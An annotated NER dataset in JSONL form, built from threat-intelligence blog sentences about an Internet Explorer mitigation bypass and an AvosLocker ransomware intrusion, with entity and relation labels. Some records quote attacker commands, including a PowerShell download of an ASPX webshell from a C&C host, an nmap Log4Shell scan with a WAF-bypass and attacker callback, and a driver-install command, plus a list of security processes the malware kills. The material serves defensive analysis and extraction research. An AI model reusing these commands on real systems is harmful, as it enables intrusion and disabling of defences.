-{"id":1745,"text":"In recent research, we found attackers were using fake versions of some well-known and well-trusted sites:","entities":[],"relations":[],"Comments":[]}
-{"id":1746,"text":"About: Threat Briefs are meant to help busy people understand real-world threats and how they can prevent them in their lives.","entities":[],"relations":[],"Comments":[]}
-{"id":1747,"text":"They’re put together by Palo Alto Networks Unit 42 threat research team and are meant for you to read and share with your family, friends, and coworkers so you can all be safer and get on with the business of your digital life.","entities":[{"id":46904,"label":"identity","start_offset":24,"end_offset":71}],"relations":[],"Comments":[]}
-{"id":1748,"text":"Got a topic you want us to write about for you, your friends, or your family?","entities":[],"relations":[],"Comments":[]}
-{"id":1749,"text":"Email us at u42comms@paloaltonetworks.com.","entities":[{"id":45116,"label":"EMAIL","start_offset":12,"end_offset":41}],"relations":[],"Comments":[]}
-{"id":1750,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[],"relations":[],"Comments":[]}
-{"id":1751,"text":" Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]}
-{"id":1752,"text":"In February, Microsoft awarded $100,000 to Yu Yang (@Tombkeeper) for reporting a new mitigation bypass technique as part of Microsoft’s Bounty Program.","entities":[{"id":45119,"label":"identity","start_offset":43,"end_offset":50},{"id":45120,"label":"identity","start_offset":52,"end_offset":63},{"id":45117,"label":"TIME","start_offset":3,"end_offset":11},{"id":45121,"label":"identity","start_offset":124,"end_offset":133},{"id":45118,"label":"identity","start_offset":13,"end_offset":22}],"relations":[],"Comments":[]}
-{"id":1753,"text":"Yu later demonstrated his research at CanSecWest in March.","entities":[{"id":46905,"label":"identity","start_offset":0,"end_offset":2}],"relations":[],"Comments":[]}
-{"id":1754,"text":"In his slides, he mentioned that a \"god mode\" of Internet Explorer could be turned on by a one byte overwrite.","entities":[{"id":46906,"label":"SOFTWARE","start_offset":49,"end_offset":66}],"relations":[],"Comments":[]}
-{"id":1755,"text":"However, he had to heavily redact this information due to an agreement between himself and Microsoft.","entities":[{"id":45122,"label":"identity","start_offset":91,"end_offset":100}],"relations":[],"Comments":[]}
-{"id":1756,"text":"After his slides were released, researchers began working to determine what the missing parts were.","entities":[],"relations":[],"Comments":[]}
-{"id":1757,"text":"And before long, Yuki Chen (@guhe120), a Chinese researcher, posted his answer.","entities":[{"id":46908,"label":"identity","start_offset":28,"end_offset":36},{"id":46907,"label":"identity","start_offset":17,"end_offset":26},{"id":46909,"label":"location","start_offset":41,"end_offset":48}],"relations":[{"id":254,"from_id":46907,"to_id":46908,"type":"duplicate-of"},{"id":255,"from_id":46907,"to_id":46909,"type":"located-at"},{"id":256,"from_id":46908,"to_id":46909,"type":"located-at"}],"Comments":[]}
-{"id":1758,"text":"Although the code was removed soon after posting, a copy was still maintained and used by Metasploit.","entities":[{"id":45123,"label":"tools","start_offset":90,"end_offset":100}],"relations":[],"Comments":[]}
-{"id":1759,"text":"Following this code, another researcher posted his VB script version using more advanced techniques.","entities":[],"relations":[],"Comments":[]}
-{"id":1760,"text":"Yu Yang then pasted his shellcode that used similar methods to run arbitrary code, showing that the method Yuki Chen used is exactly the one that won Yu the $100,000 award.","entities":[{"id":46910,"label":"identity","start_offset":0,"end_offset":7},{"id":46911,"label":"identity","start_offset":107,"end_offset":116},{"id":46912,"label":"identity","start_offset":150,"end_offset":152}],"relations":[],"Comments":[]}
-{"id":1761,"text":" The main idea of new exploitation technique is to alter a flag that is used to control the security setting of an ActiveX object.","entities":[],"relations":[],"Comments":[]}
-{"id":1762,"text":"If an attacker could modify it, then any script can be run, such as downloading and executing a PE file, without any notification or alert.","entities":[],"relations":[],"Comments":[]}
-{"id":1763,"text":"Further details were discussed in depth last month on Rapid7’s blog.","entities":[{"id":46913,"label":"identity","start_offset":53,"end_offset":60}],"relations":[],"Comments":[]}
-{"id":1764,"text":"The most interesting aspect of this method is that it could bypass all existing mitigation techniques including DEP\/ASLR\/EMET, and it also defeats some academic methods such as Control Flow Integrity (CFI).","entities":[],"relations":[],"Comments":[]}
-{"id":1765,"text":"So this raises another question: If there are no mitigation functions, do we have any other ways to defend against attacks similar to this?","entities":[],"relations":[],"Comments":[]}
-{"id":1766,"text":" The first line of defense is the IPS.","entities":[],"relations":[],"Comments":[]}
-{"id":1767,"text":"Although an attacker can use a variety of obfuscation techniques for HTML, we are still able to extract some features to create signatures.","entities":[],"relations":[],"Comments":[]}
-{"id":1768,"text":"To address such an issue, we’ve created signatures 36442, 36468, and 36469 to provide coverage for the security flag overwrite.","entities":[],"relations":[],"Comments":[]}
-{"id":1769,"text":"Although we are not aware of any attacks using this technique, these signatures have proven effective in our testing against code publicly available on the Internet.  When we take a closer look at the three exploits in our blog post last month, we see that various exploit techniques are based on a singular condition, which is arbitrary memory access.","entities":[],"relations":[],"Comments":[]}
-{"id":1770,"text":"Only when attackers have the right to read\/write any address can they utilize either Flash or ActiveX methods to get code execution.","entities":[],"relations":[],"Comments":[]}
-{"id":1771,"text":"If we went even further, all three vulnerabilities are Use-After-Free bugs.","entities":[],"relations":[],"Comments":[]}
-{"id":1772,"text":"The three vulnerabilities each contain code to alter a user-controlled address, and the code can be distilled down to the following operations:","entities":[],"relations":[],"Comments":[]}
-{"id":1773,"text":" Here, xyz indicates a user-controlled address that contains the length of a vector object or length of an Int32Array.","entities":[],"relations":[],"Comments":[]}
-{"id":1774,"text":"Using these operations, attackers are able to modify the length values to create an object with an incorrect size, which will allow for read and write operations to occur in memory that is not part of the vector object.","entities":[],"relations":[],"Comments":[]}
-{"id":1775,"text":"The attackers can then use this object to perform further operations such as modification of security flag in ActiveX.  To prevent such attacks, a better idea is to detect if an arbitrary address is accessed during execution.","entities":[],"relations":[],"Comments":[]}
-{"id":1776,"text":"In WildFire, we added modules for web browser scripts and third party plugins such as Flash.","entities":[{"id":45125,"label":"SOFTWARE","start_offset":3,"end_offset":11},{"id":45126,"label":"SOFTWARE","start_offset":86,"end_offset":91}],"relations":[],"Comments":[]}
-{"id":1777,"text":"One such module leverages the fact that the length of a vector object is always consistent with memory allocation, which means we can deduce the memory usage from the sum of the length of all allocated vectors.","entities":[],"relations":[],"Comments":[]}
-{"id":1778,"text":"If the calculated value does not match the real value, it indicates some of the vector objects may have been modified.","entities":[],"relations":[],"Comments":[]}
-{"id":1779,"text":"Using this method, we are able to provide length checking for Flash vector objects.","entities":[{"id":45127,"label":"SOFTWARE","start_offset":62,"end_offset":67}],"relations":[],"Comments":[]}
-{"id":1780,"text":"This module validates the accessing behavior at runtime.","entities":[],"relations":[],"Comments":[]}
-{"id":1781,"text":"If the length were suspicious, the detection module stops the malicious operation.","entities":[],"relations":[],"Comments":[]}
-{"id":1782,"text":"Through our enterprise security platform, including IPS and WildFire, we continue to innovate and prevent advanced exploitation techniques.","entities":[{"id":45128,"label":"SOFTWARE","start_offset":60,"end_offset":68}],"relations":[],"Comments":[]}
-{"id":1783,"text":"Leave a comment below let us know what you think.","entities":[],"relations":[],"Comments":[]}
-{"id":1784,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[],"relations":[],"Comments":[]}
-{"id":1785,"text":" Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]}
-{"id":1786,"text":"We found samples of AvosLocker ransomware that makes use of a legitimate driver file to disable antivirus solutions and detection evasion.","entities":[{"id":5282,"label":"malware","start_offset":20,"end_offset":30}],"relations":[],"Comments":[]}
-{"id":1787,"text":"While previous AvosLocker infections employ similar routines, this is the first sample we observed from the US with the capability to disable a defense solution using a legitimate Avast Anti-Rootkit Driver file (asWarPot.sys).  ","entities":[{"id":5285,"label":"malware","start_offset":15,"end_offset":25},{"id":46915,"label":"FILEPATH","start_offset":212,"end_offset":224},{"id":46916,"label":"SOFTWARE","start_offset":180,"end_offset":205},{"id":46917,"label":"location","start_offset":108,"end_offset":110}],"relations":[{"id":257,"from_id":5285,"to_id":46916,"type":"targets"},{"id":258,"from_id":5285,"to_id":46917,"type":"targets"}],"Comments":[]}
-{"id":1788,"text":"In addition, the ransomware is also capable of scanning multiple endpoints for the Log4j vulnerability Log4shell using Nmap NSE script.","entities":[{"id":45130,"label":"vulnerability","start_offset":103,"end_offset":112},{"id":45129,"label":"tools","start_offset":119,"end_offset":127},{"id":45131,"label":"vulnerability","start_offset":83,"end_offset":88}],"relations":[],"Comments":[]}
-{"id":1789,"text":"Infection chain      Figure 1. AvosLocker infection chain      According to our analysis, the suspected entry point is via the Zoho ManageEngine ADSelfService Plus (ADSS) exploit:      Figure 2.","entities":[{"id":5293,"label":"malware","start_offset":31,"end_offset":41},{"id":46920,"label":"vulnerability","start_offset":127,"end_offset":178}],"relations":[{"id":260,"from_id":5293,"to_id":46920,"type":"exploits"}],"Comments":[]}
-{"id":1790,"text":"The ADSS exploit abusing CVE-2021-40539     Due to the lack of network traffic details, we could not identify the exact CVE ID of the security gap the attacker used.","entities":[{"id":46921,"label":"vulnerability","start_offset":25,"end_offset":39},{"id":46922,"label":"malware","start_offset":4,"end_offset":8}],"relations":[{"id":261,"from_id":46922,"to_id":46921,"type":"exploits"}],"Comments":[]}
-{"id":1791,"text":"However, there are some indications that they abused the same vulnerability previously documented by Synacktiv during a pentest, CVE-2021-40539.","entities":[{"id":45132,"label":"vulnerability","start_offset":129,"end_offset":143},{"id":45133,"label":"identity","start_offset":101,"end_offset":110}],"relations":[],"Comments":[]}
-{"id":1792,"text":"The gap we observed was particularly similar to the creation of JSP files (test.jsp), execution of keytool.exe with “null” parameters to run a crafted Java class\/code.","entities":[{"id":46924,"label":"FILEPATH","start_offset":75,"end_offset":83},{"id":46923,"label":"FILEPATH","start_offset":99,"end_offset":110}],"relations":[],"Comments":[]}
-{"id":1793,"text":"Mapping the infection","entities":[],"relations":[],"Comments":[]}
-{"id":1794,"text":"The ADSS JAVA component (C:\\ManageEngine\\ADSelfService Plus\\jre\\bin\\java.exe) executed mshta.exe to remotely run a remotely-hosted HTML application (HTA) file from the attackers’ command and control (C&C) server.","entities":[{"id":45134,"label":"FILEPATH","start_offset":25,"end_offset":76},{"id":45135,"label":"FILEPATH","start_offset":87,"end_offset":96}],"relations":[],"Comments":[]}
-{"id":1795,"text":"Using Trend Micro™ Vision One™, we mapped out the processes that the infection performed to spawn the process.","entities":[{"id":46925,"label":"SOFTWARE","start_offset":6,"end_offset":30}],"relations":[],"Comments":[]}
-{"id":1796,"text":"      Figure 3. Remotely executing an HTA file from the C&C server.","entities":[],"relations":[],"Comments":[]}
-{"id":1797,"text":"Screenshots taken from Trend Micro Vison One.","entities":[{"id":45136,"label":"SOFTWARE","start_offset":23,"end_offset":44}],"relations":[],"Comments":[]}
-{"id":1798,"text":"      Figure 4. HTA file connecting to the C&C     ","entities":[],"relations":[],"Comments":[]}
-{"id":1799,"text":"A closer look at the HTA file revealed that the mshta.exe downloads and executes the remotely hosted HTA file.","entities":[],"relations":[],"Comments":[]}
-{"id":1800,"text":"The HTA executed an obfuscated PowerShell script that contains a shellcode, capable of connecting back to the C&C server to execute arbitrary commands.","entities":[{"id":45137,"label":"tools","start_offset":31,"end_offset":41}],"relations":[],"Comments":[]}
-{"id":1801,"text":"     Figure 5.","entities":[],"relations":[],"Comments":[]}
-{"id":1802,"text":"Obfuscated PowerShell script contains a shellcode","entities":[{"id":5314,"label":"tools","start_offset":11,"end_offset":21}],"relations":[],"Comments":[]}
-{"id":1803,"text":"    The PowerShell process will download an ASPX webshell from the C&C server using the command < cmd.exe \/c powershell -command Invoke-WebRequest -Uri hxxp:\/\/xx.xx.xx.xx\/subshell.aspx -OutFile \/ManageEngine\/ADSelfService Plus\/webapps\/adssp\/help\/admin-guide >.","entities":[{"id":45139,"label":"SOFTWARE","start_offset":44,"end_offset":48},{"id":45140,"label":"Infrastucture","start_offset":67,"end_offset":77},{"id":45141,"label":"URL","start_offset":152,"end_offset":184},{"id":45138,"label":"tools","start_offset":8,"end_offset":18},{"id":45142,"label":"FILEPATH","start_offset":194,"end_offset":257},{"id":5318,"label":"tools","start_offset":109,"end_offset":119},{"id":5317,"label":"tools","start_offset":98,"end_offset":105}],"relations":[],"Comments":[]}
-{"id":1804,"text":"According to Synacktiv’s research, with this command, the downloaded ASPX webshell is downloaded from a remote IP address and saved to the directory, and still accessible to the attacker.","entities":[{"id":46927,"label":"SOFTWARE","start_offset":69,"end_offset":73},{"id":46926,"label":"identity","start_offset":13,"end_offset":22}],"relations":[],"Comments":[]}
-{"id":1805,"text":"The attackers gathered system information using available tools such as whoami and systeminfo, as well as PowerShell commands.","entities":[{"id":5324,"label":"tools","start_offset":83,"end_offset":93},{"id":5325,"label":"tools","start_offset":106,"end_offset":116},{"id":46929,"label":"tools","start_offset":72,"end_offset":78}],"relations":[],"Comments":[]}
-{"id":1806,"text":"     Figure 6.","entities":[],"relations":[],"Comments":[]}
-{"id":1807,"text":"Gather system information     The code executes on the current domain controller to gather the username information, while the query user information gathers data about user sessions on a Remote Desktop Session Host server, name of the user, session ID, state of the session (either active or disconnected), idle time, date, and time the user logged on.","entities":[],"relations":[],"Comments":[]}
-{"id":1808,"text":"     Figure 7. Executed with the \/domain argument to collect username information      Figure 8.","entities":[],"relations":[],"Comments":[]}
-{"id":1809,"text":"query user information for session data     ","entities":[],"relations":[],"Comments":[]}
-{"id":1810,"text":"The PowerShell downloads, installs, and allows the remote desktop tool AnyDeskMSI through the firewall.","entities":[{"id":46930,"label":"tools","start_offset":4,"end_offset":14},{"id":46931,"label":"tools","start_offset":71,"end_offset":81}],"relations":[{"id":262,"from_id":46930,"to_id":46931,"type":"downloads"}],"Comments":[]}
-{"id":1811,"text":"     Figure 9. The PowerShell downloading and installing AnyDeskMSI     ","entities":[{"id":5340,"label":"tools","start_offset":19,"end_offset":29},{"id":46932,"label":"tools","start_offset":57,"end_offset":67}],"relations":[{"id":263,"from_id":5340,"to_id":46932,"type":"downloads"}],"Comments":[]}
-{"id":1812,"text":"We observed that a new user account was created, added to the current domain, and included in the administrator group.","entities":[],"relations":[],"Comments":[]}
-{"id":1813,"text":"This ensures the attacker can have administrative rights to the infected system.","entities":[],"relations":[],"Comments":[]}
-{"id":1814,"text":"The attackers also checked the running processes in the system via TaskList to check for antivirus processes running in the infiltrated system.","entities":[],"relations":[],"Comments":[]}
-{"id":1815,"text":"     Figure 10. Creating a new account with admin rights      Figure 11. Checking for antivirus processes running     During the scan, we observed an attempt to terminate security products initiated via TaskKill.","entities":[],"relations":[],"Comments":[]}
-{"id":1816,"text":"Testing the sample with Trend Micro Vision One, the attempt failed as its sensors were still able to send activity data to the platform.","entities":[{"id":46933,"label":"SOFTWARE","start_offset":24,"end_offset":46}],"relations":[],"Comments":[]}
-{"id":1817,"text":"     Figure 12.","entities":[],"relations":[],"Comments":[]}
-{"id":1818,"text":"Terminating security products running     Tools and functions","entities":[],"relations":[],"Comments":[]}
-{"id":1819,"text":"Additional tools and components were copied to the compromised machine using AnyDeskMSI to scan the local network and disable security products.","entities":[{"id":46934,"label":"tools","start_offset":77,"end_offset":87},{"id":46936,"label":"attack-pattern","start_offset":91,"end_offset":113},{"id":46937,"label":"attack-pattern","start_offset":118,"end_offset":143}],"relations":[{"id":265,"from_id":46934,"to_id":46936,"type":"uses"},{"id":266,"from_id":46934,"to_id":46937,"type":"uses"}],"Comments":[]}
-{"id":1820,"text":"The tools transferred using AnyDesk are:  Netscan: To scan for other endpoints Nmap (log4shell.nse): To scan for Log4shell vulnerable endpoints Hacking tools Mimikatz and Impacket: For lateral movement PDQ deploy: For mass deployment of malicious script to multiple endpoints Aswarpot.sys: For disabling defense solutions.","entities":[{"id":46938,"label":"tools","start_offset":28,"end_offset":35},{"id":46944,"label":"tools","start_offset":158,"end_offset":166},{"id":46951,"label":"attack-pattern","start_offset":294,"end_offset":321},{"id":46940,"label":"tools","start_offset":79,"end_offset":83},{"id":46942,"label":"FILEPATH","start_offset":85,"end_offset":98},{"id":46947,"label":"tools","start_offset":171,"end_offset":179},{"id":46939,"label":"tools","start_offset":42,"end_offset":49},{"id":46943,"label":"vulnerability","start_offset":113,"end_offset":122},{"id":46950,"label":"FILEPATH","start_offset":276,"end_offset":288},{"id":46948,"label":"attack-pattern","start_offset":185,"end_offset":201},{"id":46949,"label":"attack-pattern","start_offset":218,"end_offset":253},{"id":46953,"label":"tools","start_offset":202,"end_offset":212},{"id":46956,"label":"tools","start_offset":276,"end_offset":284},{"id":46955,"label":"attack-pattern","start_offset":104,"end_offset":108}],"relations":[{"id":272,"from_id":46938,"to_id":46947,"type":"downloads"},{"id":267,"from_id":46938,"to_id":46939,"type":"downloads"},{"id":268,"from_id":46938,"to_id":46940,"type":"downloads"},{"id":269,"from_id":46940,"to_id":46942,"type":"uses"},{"id":271,"from_id":46938,"to_id":46944,"type":"downloads"},{"id":273,"from_id":46938,"to_id":46953,"type":"downloads"},{"id":276,"from_id":46938,"to_id":46956,"type":"downloads"}],"Comments":[]}
-{"id":1821,"text":"We noted that it can disable a number of antivirus products, previously identified by Aon’s researchers.","entities":[{"id":45143,"label":"identity","start_offset":86,"end_offset":103}],"relations":[],"Comments":[]}
-{"id":1822,"text":"      Figure 13. Copying tools and other malicious components to the compromised machine using AnyDesk     ","entities":[{"id":5369,"label":"tools","start_offset":95,"end_offset":102}],"relations":[],"Comments":[]}
-{"id":1823,"text":"We found an Avast anti-rootkit driver installed as service 'asWarPot.sys' using the command sc.exe  create aswSP_ArPot2 binPath= C:\\windows\\aswArPot.sys type= kernel.","entities":[{"id":46957,"label":"FILEPATH","start_offset":60,"end_offset":72},{"id":46958,"label":"FILEPATH","start_offset":92,"end_offset":98},{"id":46959,"label":"FILEPATH","start_offset":129,"end_offset":152},{"id":46960,"label":"SOFTWARE","start_offset":12,"end_offset":37}],"relations":[{"id":279,"from_id":46960,"to_id":46957,"type":"consists-of"}],"Comments":[]}
-{"id":1824,"text":"It installs the driver file in preparation for disabling the running antivirus product.","entities":[],"relations":[],"Comments":[]}
-{"id":1825,"text":"We noted the unusual use of cmd.exe for execution of the file.","entities":[{"id":5374,"label":"malware","start_offset":28,"end_offset":35}],"relations":[],"Comments":[]}
-{"id":1826,"text":"       Figure 14.","entities":[],"relations":[],"Comments":[]}
-{"id":1827,"text":"Executing the anti-rootkit driver in the system     ","entities":[],"relations":[],"Comments":[]}
-{"id":1828,"text":"Mimikatz components were also copied to the affected machine via AnyDeskMSI.","entities":[{"id":5378,"label":"tools","start_offset":0,"end_offset":8},{"id":46961,"label":"tools","start_offset":65,"end_offset":75}],"relations":[{"id":277,"from_id":46961,"to_id":5378,"type":"drops"}],"Comments":[]}
-{"id":1829,"text":"However, these components were detected and deleted.","entities":[],"relations":[],"Comments":[]}
-{"id":1830,"text":"     Figure 15.","entities":[],"relations":[],"Comments":[]}
-{"id":1831,"text":"Detecting and deleting Mimikatz      We observed the PowerShell script disabling the security products by leveraging aswarpot.sys (a legitimate Avast Anti-Rootkit Driver).","entities":[{"id":5382,"label":"tools","start_offset":23,"end_offset":31},{"id":5383,"label":"tools","start_offset":53,"end_offset":63},{"id":46962,"label":"SOFTWARE","start_offset":144,"end_offset":169},{"id":46963,"label":"FILEPATH","start_offset":117,"end_offset":129},{"id":46964,"label":"attack-pattern","start_offset":71,"end_offset":102}],"relations":[{"id":278,"from_id":46962,"to_id":46963,"type":"consists-of"}],"Comments":[]}
-{"id":1832,"text":"A list of security product processes was supplied and subsequently terminated by the driver.      Figure 16.","entities":[],"relations":[],"Comments":[]}
-{"id":1833,"text":"Listing","entities":[],"relations":[],"Comments":[]}
-{"id":1834,"text":"and","entities":[],"relations":[],"Comments":[]}
-{"id":1835,"text":"terminating the security products found running in the compromised system     ","entities":[],"relations":[],"Comments":[]}
-{"id":1836,"text":"Verification: Manual replication of antivirus disabling routine","entities":[],"relations":[],"Comments":[]}
-{"id":1837,"text":"We manually replicated the routine and commands for disabling the defense solutions to further look into the routine.","entities":[],"relations":[],"Comments":[]}
-{"id":1838,"text":"Figure 17 shows the list of processes that the routine searches on infection :  EndpointBasecamp.exe Trend Micro Endpoint Basecamp ResponseService.exe PccNTMon.exe SupportConnector.exe AOTAgent.exe CETASvc.exe CETASvc iVPAgent.exe tmwscsvc.exe TMResponse AOTAgentSvc TMBMServer iVPAgent Trend Micro Web Service Communicator Tmccsf Tmlisten Ntrtscan TmWSCSvc       Figure 17.","entities":[{"id":46965,"label":"FILEPATH","start_offset":80,"end_offset":100},{"id":46966,"label":"FILEPATH","start_offset":131,"end_offset":150},{"id":46967,"label":"FILEPATH","start_offset":151,"end_offset":163},{"id":46968,"label":"FILEPATH","start_offset":164,"end_offset":184},{"id":46972,"label":"FILEPATH","start_offset":218,"end_offset":230},{"id":46969,"label":"FILEPATH","start_offset":185,"end_offset":197},{"id":46971,"label":"FILEPATH","start_offset":198,"end_offset":209},{"id":46973,"label":"FILEPATH","start_offset":231,"end_offset":243},{"id":46974,"label":"SOFTWARE","start_offset":101,"end_offset":130},{"id":46975,"label":"SOFTWARE","start_offset":287,"end_offset":323}],"relations":[],"Comments":[]}
-{"id":1839,"text":"Searching for processes     We found that aswArPot.sys, registered as aswSP_ArPot2 as a service, is used as the handle for the following DeviceIoControl call.","entities":[{"id":45144,"label":"FILEPATH","start_offset":42,"end_offset":54}],"relations":[],"Comments":[]}
-{"id":1840,"text":"     Figure 18.","entities":[],"relations":[],"Comments":[]}
-{"id":1841,"text":"Driver file preparing to disable an antivirus product     The DeviceIoControl function is used to execute parts of the driver.","entities":[],"relations":[],"Comments":[]}
-{"id":1842,"text":"In this case, the DeviceIoControl is inside a loop that iterates through the list of processes mentioned above.","entities":[],"relations":[],"Comments":[]}
-{"id":1843,"text":"Additionally, we can see that 0x9988C094 is passed to DeviceIoControl as an argument simultaneous to the ID of the current process in the iteration.","entities":[],"relations":[],"Comments":[]}
-{"id":1844,"text":"     Figure 19.","entities":[],"relations":[],"Comments":[]}
-{"id":1845,"text":"DeviceIoControl as an argument with the current process ID     ","entities":[],"relations":[],"Comments":[]}
-{"id":1846,"text":"Inside aswArPot.sys, we saw 0x9988C094 in a switch case with a function sub_14001DC80 case.","entities":[{"id":46976,"label":"FILEPATH","start_offset":7,"end_offset":19}],"relations":[],"Comments":[]}
-{"id":1847,"text":"Inside function sub_14001DC80, we can see that that function has the capability to terminate a given process.","entities":[],"relations":[],"Comments":[]}
-{"id":1848,"text":"     Figure 20. 0x9988C094 in a switch case with sub_14001DC80 (above), with the latter value terminating a process (below).","entities":[],"relations":[],"Comments":[]}
-{"id":1849,"text":"    Other executions and lateral movement","entities":[{"id":46977,"label":"attack-pattern","start_offset":25,"end_offset":41}],"relations":[],"Comments":[]}
-{"id":1850,"text":"After disabling the security products, the actors behind AvosLocker again tried to transfer other tools, namely Mimikatz and Impacket.","entities":[{"id":46979,"label":"tools","start_offset":112,"end_offset":120},{"id":46978,"label":"malware","start_offset":57,"end_offset":67},{"id":46980,"label":"tools","start_offset":125,"end_offset":133}],"relations":[{"id":280,"from_id":46978,"to_id":46979,"type":"downloads"},{"id":281,"from_id":46978,"to_id":46980,"type":"downloads"}],"Comments":[]}
-{"id":1851,"text":"     Figure 21. Execution of Mimikatz (above) and Impacket via C:\\temp\\wmiexec.exe (below)","entities":[{"id":45148,"label":"tools","start_offset":50,"end_offset":58},{"id":45146,"label":"tools","start_offset":29,"end_offset":37},{"id":45147,"label":"FILEPATH","start_offset":63,"end_offset":82}],"relations":[],"Comments":[]}
-{"id":1852,"text":"    We also observed the execution of a password recovery tool XenArmor with C:\\temp\\pass\\start.exe.","entities":[{"id":46982,"label":"tools","start_offset":63,"end_offset":71},{"id":46981,"label":"FILEPATH","start_offset":77,"end_offset":99}],"relations":[{"id":282,"from_id":46982,"to_id":46981,"type":"consists-of"}],"Comments":[]}
-{"id":1853,"text":"     Figure 22. XenArmor password recovery tool execution     ","entities":[{"id":46983,"label":"tools","start_offset":16,"end_offset":24}],"relations":[],"Comments":[]}
-{"id":1854,"text":"We observed the attackers using an NMAP script to check for Log4shell, the Apache Log4j remote code execution (RCE, with ID CVE-2021-44228) vulnerability across the network.","entities":[{"id":45150,"label":"vulnerability","start_offset":60,"end_offset":69},{"id":45149,"label":"tools","start_offset":35,"end_offset":39},{"id":45152,"label":"vulnerability","start_offset":75,"end_offset":109},{"id":45153,"label":"vulnerability","start_offset":124,"end_offset":138}],"relations":[],"Comments":[]}
-{"id":1855,"text":"They used the command nmap  --script log4shell.nse --script-args log4shell.waf-bypass=true --script-args log4shell.callback-server=xx.xx.xx.xx:1389 -p 80,443 xx.xx.xx.xx\/xx, and set the callback server to the attacker group C&C server.       Figure 23.","entities":[{"id":5436,"label":"tools","start_offset":22,"end_offset":26}],"relations":[],"Comments":[]}
-{"id":1856,"text":"Checking for log4shell     We also observed more system network configuration discovery techniques being run, possibly for lateral movement as it tried looking for other available endpoints.","entities":[{"id":5440,"label":"attack-pattern","start_offset":49,"end_offset":87},{"id":46984,"label":"attack-pattern","start_offset":123,"end_offset":139}],"relations":[],"Comments":[]}
-{"id":1857,"text":"     Figure 24. Running more system network configuration discovery scans","entities":[{"id":5442,"label":"attack-pattern","start_offset":29,"end_offset":67}],"relations":[],"Comments":[]}
-{"id":1858,"text":"    Deploying across the network We saw software deployment tool PDQ being used to deploy malicious batch scripts to multiple endpoints in the network.","entities":[{"id":46986,"label":"attack-pattern","start_offset":83,"end_offset":113},{"id":46985,"label":"tools","start_offset":65,"end_offset":68}],"relations":[{"id":283,"from_id":46986,"to_id":46985,"type":"uses"}],"Comments":[]}
-{"id":1859,"text":"     Figure 25. Deploying malicious batch scripts to other endpoints     The deployed batch script has the following commands:  Disable Windows Update and Microsoft Defender       Figure 26. Disable Microsoft defense services      Prevents safeboot execution of security products       Figure 27. Prevent security products’ execution      Create new administrator account       Figure 28. Create new account      Add the AutoStart mechanism for the AvosLocker executable (update.exe)       Figure 29. Add Autostart for ransomware executable      Disables legal notice caption       Figure 30. Disable legal notice      Set safeboot with networking and disables Windows Error Recovery and reboot       Figure 31. Setting and disabling network and specific Windows functions     Conclusion","entities":[{"id":46990,"label":"malware","start_offset":449,"end_offset":459},{"id":46991,"label":"FILEPATH","start_offset":472,"end_offset":482},{"id":46987,"label":"tools","start_offset":136,"end_offset":150},{"id":46988,"label":"tools","start_offset":155,"end_offset":173}],"relations":[],"Comments":[]}
-{"id":1860,"text":"While AvosLocker has been documented for its abuse of AnyDesk for lateral movement as its preferred application, we note that other remote access applications can also be abused to replace it.","entities":[{"id":45154,"label":"malware","start_offset":6,"end_offset":16},{"id":45155,"label":"tools","start_offset":54,"end_offset":61},{"id":45156,"label":"attack-pattern","start_offset":66,"end_offset":82}],"relations":[{"id":77,"from_id":45154,"to_id":45155,"type":"uses"},{"id":284,"from_id":45156,"to_id":45155,"type":"uses"},{"id":285,"from_id":45154,"to_id":45156,"type":"uses"}],"Comments":[]}
-{"id":1861,"text":"We think the same can be said for the software deployment tool, wherein the malicious actors can subsequently decide to replace and abuse it with other commercially available ones.","entities":[],"relations":[],"Comments":[]}
-{"id":1862,"text":"In addition, aside from its availability, the decision to choose the specific rootkit driver file is for its capability to execute in kernel mode (therefore operating at a high privilege).","entities":[],"relations":[],"Comments":[]}
-{"id":1863,"text":"This variant is also capable of modifying other details of the installed security solutions, such as disabling the legal notice.","entities":[],"relations":[],"Comments":[]}
-{"id":1864,"text":"Other modern ransomware, such as Mespinoza\/Pysa, modify the registries of infected systems during their respective routines to inform their victims that they have been compromised.","entities":[{"id":5472,"label":"threat-actor","start_offset":43,"end_offset":47},{"id":5471,"label":"threat-actor","start_offset":33,"end_offset":42}],"relations":[],"Comments":[]}
-{"id":1865,"text":"Similar to previously documented malware and ransomware groups, AvosLocker takes advantage of the different vulnerabilities that have yet to be patched to get into organizations’ networks.","entities":[{"id":5474,"label":"malware","start_offset":64,"end_offset":74}],"relations":[],"Comments":[]}
-{"id":1866,"text":"Once inside, the continuing trend of abusing legitimate tools and functions to mask malicious activities and actors’ presence","entities":[],"relations":[],"Comments":[]}
-{"id":1867,"text":"grows in sophistication.","entities":[],"relations":[],"Comments":[]}
-{"id":1868,"text":"In this case, the attackers were able to study and use Avast’s driver as part of their arsenal to disable other vendors’ security products.","entities":[{"id":46992,"label":"identity","start_offset":55,"end_offset":61}],"relations":[],"Comments":[]}
-{"id":1869,"text":"However, and specific to this instance, the attempt to kill an antivirus product such as this variant’s TaskKill can also be foiled.","entities":[],"relations":[],"Comments":[]}
-{"id":1870,"text":"In this example using Trend Micro Vision One, the attempt was unsuccessful likely due to the product’s self-protection feature, which allowed the sensors to continue sending data and block the noted routine.","entities":[{"id":46993,"label":"SOFTWARE","start_offset":22,"end_offset":44}],"relations":[],"Comments":[]}
-{"id":1871,"text":"The visibility enabled by the platform allowed us as researchers to capture the extent of this ransomware’s attack chain and replicate the driver file being abused to verify its function during compromise.","entities":[],"relations":[],"Comments":[]}
-{"id":1872,"text":"Avast responded to our notification with this statement: \"We can confirm the vulnerability in an old version of our driver aswArPot.sys, which we fixed in our Avast 21.5 released in June 2021.","entities":[{"id":45157,"label":"FILEPATH","start_offset":123,"end_offset":135},{"id":45158,"label":"SOFTWARE","start_offset":159,"end_offset":169},{"id":45159,"label":"TIME","start_offset":182,"end_offset":191},{"id":45160,"label":"identity","start_offset":0,"end_offset":5}],"relations":[{"id":286,"from_id":45158,"to_id":45157,"type":"consists-of"}],"Comments":[]}
